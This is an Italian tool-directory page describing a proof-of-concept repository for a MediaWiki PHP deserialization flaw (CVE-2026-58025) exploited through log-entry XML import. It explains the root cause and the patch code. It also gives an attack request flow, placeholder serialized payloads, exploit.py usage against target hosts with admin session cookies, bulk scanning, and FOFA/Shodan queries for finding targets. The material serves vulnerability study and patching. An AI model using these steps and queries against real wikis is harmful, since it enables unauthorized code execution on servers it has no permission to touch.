Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-58025 — CVE-2026-58025 — RCE di deserializzazione MediaWiki tramite importazione di voci di log. LogEntryBase::extractParams() unserialize() log_params controllati dall'utente. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0 | Kitploit
Strumenti/GitHubGitHub/shinthink/cve-2026-58025
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubshinthink/cve-2026-58025

CVE-2026-58025

CVE-2026-58025 — RCE di deserializzazione MediaWiki tramite importazione di voci di log. LogEntryBase::extractParams() unserialize() log_params controllati dall'utente. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0

Vedi Repository
41461 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-58025 — RCE di deserializzazione PHP in MediaWiki tramite importazione di voci di log

WikiImporter → LogEntryBase::extractParams() → unserialize() log_params controllati dall'utente → RCE


Panoramica

CVE-2026-58025 è una vulnerabilità critica (CVSS 9.8) di deserializzazione di dati non attendibili in MediaWiki (Wikimedia Foundation). Il metodo LogEntryBase::extractParams() chiamava su parametri di voci di log controllati dall'utente senza limitare quali classi PHP potessero essere istanziate. Un attaccante con il diritto o (default: gruppo ) poteva creare un file di importazione XML dannoso contenente oggetti PHP serializzati nei campi , innescando l'istanziazione arbitraria di oggetti e una potenziale esecuzione di codice remoto tramite gadget chain.

unserialize()
importupload
import
sysop
<params>

Versioni interessate

Ramo di versioneVulnerabileCorretta
1.43.x< 1.43.91.43.9
1.44.x< 1.44.61.44.6
1.45.x< 1.45.41.45.4
1.46.x< 1.46.01.46.0

Requisiti: il diritto import o importupload (default: gruppo sysop). L'attaccante deve poter caricare o importare un file XML nella Special:Import di MediaWiki.


Meccanismo della vulnerabilità

Causa principale

LogEntryBase::extractParams() in includes/Logging/LogEntryBase.php chiamava unserialize() direttamente sul blob log_params senza alcuna restrizione sulle classi:

root@kitploit:~
// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
    return unserialize( $blob );  // ← user-controlled, no allowed_classes restriction
}

Questo metodo viene chiamato da più punti:

FileRigaContesto
includes/Logging/DatabaseLogEntry.php187getParameters() — lettura delle voci di log dal database
includes/RecentChanges/RecentChange.php781parseParams() — parsing delle modifiche recenti
includes/Import/WikiRevision.php638importLogItem() — importazione delle voci di log da XML
maintenance/purgeChangedFiles.php182Parsing dei log dello script di manutenzione
tests/phpunit/maintenance/DumpAsserter.php541Helper di test

Vettore d'attacco

Il vettore d'attacco principale è l'importazione XML tramite Special:Import:

  1. L'attaccante (con diritto import/importupload) crea un file di esportazione XML di MediaWiki dannoso
  2. L'XML contiene un elemento <logitem> con un campo <params> contenente un payload PHP serializzato
  3. WikiImporter::processLogItem() → WikiRevision::importLogItem() memorizza la voce di log
  4. Quando la voce di log viene successivamente letta (tramite DatabaseLogEntry::getParameters(), RecentChange::parseParams() o la visualizzazione dei log), LogEntryBase::extractParams() chiama unserialize() sul blob controllato dall'attaccante
  5. Se esiste una gadget chain adatta (tramite estensioni/librerie vendor installate), questo porta a RCE

Flusso dell'attacco

root@kitploit:~
POST /wiki/Special:Import
  Content-Type: multipart/form-data
  action=submit
  xmlimportfile=<malicious.xml>
  source=file
  catname=
  prefix=
  loginComment=

malicious.xml:
  <mediawiki ...>
    <logitem>
      <type>test</type>
      <action>test</action>
      <params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
    </logitem>
  </mediawiki>

→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data

Formato del payload serializzato

Il campo <params> nell'importazione XML accetta stringhe PHP serializzate standard. Una voce sicura (innocua):

root@kitploit:~
a:1:{s:3:"foo";s:3:"bar";}

Una voce dannosa contenente un oggetto serializzato:

root@kitploit:~
a:1:{s:3:"foo";O:8:"stdClass":0:{}}

Quando unserialize() viene chiamato senza la restrizione allowed_classes, l'oggetto viene completamente istanziato. Con una gadget chain disponibile (ad esempio, da librerie installate via Composer), questo diventa RCE.


La correzione

Commit: 60f154d4618063ac4d5832285fc246b8fcd7c72c Autore: Bartosz Dziewoński Data: 2026-06-29

La correzione implementa più livelli di difesa:

1. unserialize() limitato con allowed_classes

root@kitploit:~
// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
    $attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
    if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
        $allowedClasses = $attribute[$logType];
    } else {
        $allowedClasses = false;  // no classes allowed
    }
    $result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
    if ( $result !== false && !is_array( $result ) ) {
        return false;
    }
    return $result;
}

2. Nuovo controllo containsUnsafeParams()

Rileva le istanze __PHP_Incomplete_Class (oggetti bloccati da allowed_classes):

root@kitploit:~
public static function containsUnsafeParams( array $params ): bool {
    $result = false;
    $params = [ $params ];
    array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
        if ( $val instanceof \__PHP_Incomplete_Class ) {
            $result = true;
        }
    } );
    return $result;
}

3. Gate di importazione — WikiImporter::processLogItem()

Nuovo controllo del permesso logentryimport (non concesso a nessuno di default):

root@kitploit:~
private function processLogItem( $logInfo ) {
    if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
        $this->notice( 'permissionserrorstext-withaction-noreason', ... );
        return false;
    }
    // ...
}

4. WikiRevision::importLogItem() — rifiuto dei parametri non sicuri

root@kitploit:~
if ( LogEntryBase::containsUnsafeParams(
    LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
    wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
    return false;
}

5. UnsafeLogFormatter — visualizzazione sicura delle voci dannose esistenti

La nuova classe UnsafeLogFormatter sostituisce il formatter normale per le voci contenenti oggetti bloccati, mostrando un messaggio segnaposto invece di tentare di formattare i dati pericolosi.

6. Correzione correlata: CVE-2026-58037

La stessa ricerca (T422244) ha inoltre evidenziato che il tipo di parametro raw di LogFormatter consentiva di generare output HTML grezzo a partire da parametri di log controllati dall'utente. Questo è stato corretto in un commit complementare sostituendo Message::rawParam() con Message::plaintextParam().


PoC

Lo script exploit.py incluso genera un file di importazione XML di MediaWiki dannoso contenente oggetti PHP serializzati nei parametri delle voci di log. Può anche effettuare il fingerprinting delle istanze di MediaWiki e tentare l'importazione tramite API.

root@kitploit:~
# Generate malicious XML payload
python exploit.py --generate --output payload.xml

# Fingerprint target
python exploit.py -u https://target.com --check

# Full exploit (requires valid session cookies for sysop user)
python exploit.py -u https://target.com -c "session_cookies_here"

Installazione

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-58025.git
cd CVE-2026-58025
pip install requests

Utilizzo

root@kitploit:~
# Generate malicious XML import file
python exploit.py --generate --output payload.xml

# Fingerprint MediaWiki version
python exploit.py -u https://target.com --check

# Upload malicious XML via Special:Import (requires sysop session)
python exploit.py -u https://target.com -c "wiki_session=abc123; wikiUserID=1; wikiUserName=admin"

# Bulk check
python exploit.py -f targets.txt --check -o results.txt

FOFA / Shodan

root@kitploit:~
FOFA:   body="mediawiki" && body="Special:Import"
Shodan: http.html:"mediawiki"

Riferimenti

  • NVD CVE-2026-58025
  • Phabricator T422244
  • Commit di correzione (ramo 1.43) — SECURITY: Safely unserialize log entry parameters
  • Correzione correlata: CVE-2026-58037 — LogFormatter: 'raw' parameter format is no longer raw HTML
  • Note di rilascio di MediaWiki 1.43.9
  • OSV CVE-2026-58025
  • CWE-502: Deserializzazione di dati non attendibili
  • CWE-94: Controllo improprio della generazione di codice

Dichiarazione di non responsabilità

Questo exploit è fornito esclusivamente a scopo educativo e di ricerca sulla sicurezza autorizzata. Non utilizzarlo contro sistemi senza il permesso esplicito del proprietario.

Scarica lo strumento